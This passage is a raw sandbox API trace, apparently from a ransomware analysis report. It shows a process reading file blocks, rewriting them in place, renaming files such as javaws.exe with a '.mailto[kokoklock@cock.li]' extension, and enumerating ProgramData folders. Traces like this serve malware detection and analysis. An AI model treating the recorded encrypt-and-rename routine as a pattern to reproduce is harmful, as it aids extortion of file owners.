lpNewFilePointer=0x0) returned 1 [0088.637] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0088.637] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x33e9f40 [0088.637] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc8b8 [0088.637] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc8b8) returned 1 [0088.638] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0088.638] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc778 [0088.638] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc8b8 [0088.638] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc8b8) returned 1 [0088.638] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e9f40) returned 1 [0088.638] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0088.638] WriteFile (in: hFile=0x62c, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x303bfd20, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x303bfd20*=0x4096, lpOverlapped=0x0) returned 1 [0088.638] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0088.638] SetFilePointerEx (in: hFile=0x62c, liDistanceToMove=0x285dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.638] ReadFile (in: hFile=0x62c, lpBuffer=0x55de100, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x303bfd20, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesRead=0x303bfd20*=0x4096, lpOverlapped=0x0) returned 1 [0088.639] SetFilePointerEx (in: hFile=0x62c, liDistanceToMove=0x285dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.639] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0088.639] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x33e9c70 [0088.639] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc8b8 [0088.639] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc8b8) returned 1 [0088.639] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0088.640] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc8b8 [0088.640] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc8e0 [0088.640] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc8e0) returned 1 [0088.640] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e9c70) returned 1 [0088.640] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0088.640] WriteFile (in: hFile=0x62c, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x303bfd20, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x303bfd20*=0x4096, lpOverlapped=0x0) returned 1 [0088.640] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0088.640] SetFilePointerEx (in: hFile=0x62c, liDistanceToMove=0x49faa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.640] ReadFile (in: hFile=0x62c, lpBuffer=0x55de100, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x303bfd20, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesRead=0x303bfd20*=0x4096, lpOverlapped=0x0) returned 1 [0088.641] SetFilePointerEx (in: hFile=0x62c, liDistanceToMove=0x49faa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.641] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd2c8 [0088.641] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x33e9c70 [0088.641] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc8e0 [0088.641] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc8e0) returned 1 [0088.641] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0088.641] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc8e0 [0088.641] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcf98 [0088.641] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcf98) returned 1 [0088.641] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e9c70) returned 1 [0088.641] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0088.641] WriteFile (in: hFile=0x62c, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x303bfd20, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x303bfd20*=0x4096, lpOverlapped=0x0) returned 1 [0088.642] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0088.642] WriteFile (in: hFile=0x62c, lpBuffer=0x55dc778*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x303bfd7c, lpOverlapped=0x0 | out: lpBuffer=0x55dc778*, lpNumberOfBytesWritten=0x303bfd7c*=0x20, lpOverlapped=0x0) returned 1 [0088.642] WriteFile (in: hFile=0x62c, lpBuffer=0x55dc8b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x303bfd7c, lpOverlapped=0x0 | out: lpBuffer=0x55dc8b8*, lpNumberOfBytesWritten=0x303bfd7c*=0x20, lpOverlapped=0x0) returned 1 [0088.642] WriteFile (in: hFile=0x62c, lpBuffer=0x55dc8e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x303bfd7c, lpOverlapped=0x0 | out: lpBuffer=0x55dc8e0*, lpNumberOfBytesWritten=0x303bfd7c*=0x20, lpOverlapped=0x0) returned 1 [0088.642] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0088.642] WriteFile (in: hFile=0x62c, lpBuffer=0x55dcfe8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x303bfd84, lpOverlapped=0x0 | out: lpBuffer=0x55dcfe8*, lpNumberOfBytesWritten=0x303bfd84*=0x8, lpOverlapped=0x0) returned 1 [0088.642] WriteFile (in: hFile=0x62c, lpBuffer=0x303bfd9c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x303bfd84, lpOverlapped=0x0 | out: lpBuffer=0x303bfd9c*, lpNumberOfBytesWritten=0x303bfd84*=0x4, lpOverlapped=0x0) returned 1 [0088.642] WriteFile (in: hFile=0x62c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x303bfd84, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x303bfd84*=0x4, lpOverlapped=0x0) returned 1 [0088.642] WriteFile (in: hFile=0x62c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x303bfd84, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x303bfd84*=0x6c, lpOverlapped=0x0) returned 1 [0088.642] WriteFile (in: hFile=0x62c, lpBuffer=0x55dcc50*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x303bfd84, lpOverlapped=0x0 | out: lpBuffer=0x55dcc50*, lpNumberOfBytesWritten=0x303bfd84*=0x20, lpOverlapped=0x0) returned 1 [0088.642] WriteFile (in: hFile=0x62c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x303bfd84, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x303bfd84*=0x4, lpOverlapped=0x0) returned 1 [0088.642] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcc50) returned 1 [0088.642] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dccc8) returned 1 [0088.642] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcfe8) returned 1 [0088.643] CloseHandle (hObject=0x62c) returned 1 [0088.643] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3485430 [0088.643] wcscpy (in: _Dest=0x3485430, _Source="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\javaws.exe" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\javaws.exe") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\javaws.exe" [0088.643] wcscat (in: _Dest=0x3485430, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\javaws.exe.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\javaws.exe.mailto[kokoklock@cock.li].d0e731" [0088.643] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\javaws.exe" (normalized: "c:\\users\\all users\\oracle\\java\\javapath_target_474984\\javaws.exe"), lpNewFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\javaws.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\oracle\\java\\javapath_target_474984\\javaws.exe.mailto[kokoklock@cock.li].d0e731")) Thread: id = 1392 os_tid = 0x1460 [0088.640] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath\\java.exe" (normalized: "c:\\users\\all users\\oracle\\java\\javapath\\java.exe")) Thread: id = 1393 os_tid = 0x1464 [0088.645] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath\\javaw.exe" (normalized: "c:\\users\\all users\\oracle\\java\\javapath\\javaw.exe")) Thread: id = 1394 os_tid = 0x7cc [0088.646] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath\\javaws.exe" (normalized: "c:\\users\\all users\\oracle\\java\\javapath\\javaws.exe")) Thread: id = 1395 os_tid = 0x10a8 [0088.646] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64\\baseimagefam8" (normalized: "c:\\users\\all users\\oracle\\java\\installcache_x64\\baseimagefam8")) Thread: id = 1396 os_tid = 0x11b8 [0088.646] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xea) returned 0x3483888 [0088.646] wcscpy (in: _Dest=0x3483888, _Source="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64" [0088.646] wcscat (in: _Dest=0x3483888, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\" [0088.646] wcscat (in: _Dest=0x3483888, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*" [0088.646] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f6530 [0088.647] FindFirstFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x33f6530) Thread: id = 1397 os_tid = 0x13fc [0088.647] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xf2) returned 0x33fcad8 [0088.647] wcscpy (in: _Dest=0x33fcad8, _Source="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64" [0088.647] wcscat (in: _Dest=0x33fcad8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\" [0088.647] wcscat (in: _Dest=0x33fcad8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*" [0088.647] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f5458 [0088.647] FindFirstFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x33f5458) Thread: id = 1398 os_tid = 0x129c [0088.648] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xec) returned 0x3483980 [0088.648] wcscpy (in: _Dest=0x3483980, _Source="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86" [0088.648] wcscat (in: _Dest=0x3483980, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\" [0088.648] wcscat (in: _Dest=0x3483980, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*" [0088.648] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f2908 [0088.648] FindFirstFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x33f2908) Thread: id = 1399 os_tid = 0x12b4 [0088.648] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\confident.cov" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\confident.cov")) Thread: id = 1400 os_tid = 0x12bc [0088.648] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\fyi.cov" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\fyi.cov")) Thread: id = 1401 os_tid = 0x470 [0088.649] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\generic.cov" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\generic.cov")) Thread: id = 1402 os_tid = 0xd28 [0088.649] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\urgent.cov" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\urgent.cov")) Thread: id = 1403 os_tid = 0xb98 [0088.649] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\WelcomeFax.tif" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\virtualinbox\\en-us\\welcomefax.tif")) Thread: id = 1404 os_tid = 0xfa8 [0088.650] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xec) returned 0x3483a78 [0088.650] wcscpy (in: _Dest=0x3483a78, _Source="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86" [0088.650] wcscat (in: _Dest=0x3483a78, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\" [0088.650] wcscat (in: _Dest=0x3483a78, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*" [0088.650] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f2dd8 [0088.650] FindFirstFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x33f2dd8) Thread: id = 1405 os_tid = 0x910 [0088.650] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe6) returned 0x348af68 [0088.650] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86" [0088.650] wcscat (in: _Dest=0x348af68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\" [0088.650] wcscat (in: _Dest=0x348af68, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*" [0088.650] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f3040 [0088.650] FindFirstFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x33f3040) Thread: id = 1408 os_tid = 0x8ac [0088.812] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x12a) returned 0x33f21a8 [0088.812] wcscpy (in: _Dest=0x33f21a8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}" [0088.812] wcscat (in: _Dest=0x33f21a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\" [0088.812] wcscat (in: _Dest=0x33f21a8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\*" [0088.812] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34acef0 [0088.812] FindFirstFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\*", lpFindFileData=0x34acef0) Thread: id = 1409 os_tid = 0xc04 [0088.813] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\masterdescriptor.en-us.xml")) Thread: id = 1410 os_tid = 0x7a8 [0088.813] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\s321033.hash" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\s321033.hash")) Thread: id = 1411 os_tid = 0xd18 [0088.813] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.platform.culture.man.xml")) Thread: id = 1412 os_tid = 0x3cc [0088.814] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.hash" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.x86.en-us.hash")) Thread: id = 1413 os_tid = 0xe60 [0088.814] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.x86.en-us.man.dat")) Thread: id = 1414 os_tid = 0xda8 [0088.814] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\masterdescriptor.x-none.xml")) Thread: id = 1415 os_tid = 0x1054 [0088.815] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\s320.hash" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\s320.hash")) Thread: id = 1416 os_tid = 0x1064 [0088.815] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.platform.x-none.man.xml")) Thread: id = 1417 os_tid = 0xa8c [0088.815] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.hash" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.x86.x-none.hash")) Thread: id = 1418 os_tid = 0xcdc [0088.816] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.x86.x-none.man.dat")) Thread: id = 1419 os_tid = 0xd40 [0088.816] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\x-none.16\\stream.x86.x-none.man.dat")) Thread: id = 1420 os_tid = 0xf9c [0088.816] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\en-us.16\\stream.x86.en-us.man.dat")) Thread: id = 1421 os_tid = 0xf70 [0088.817] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, 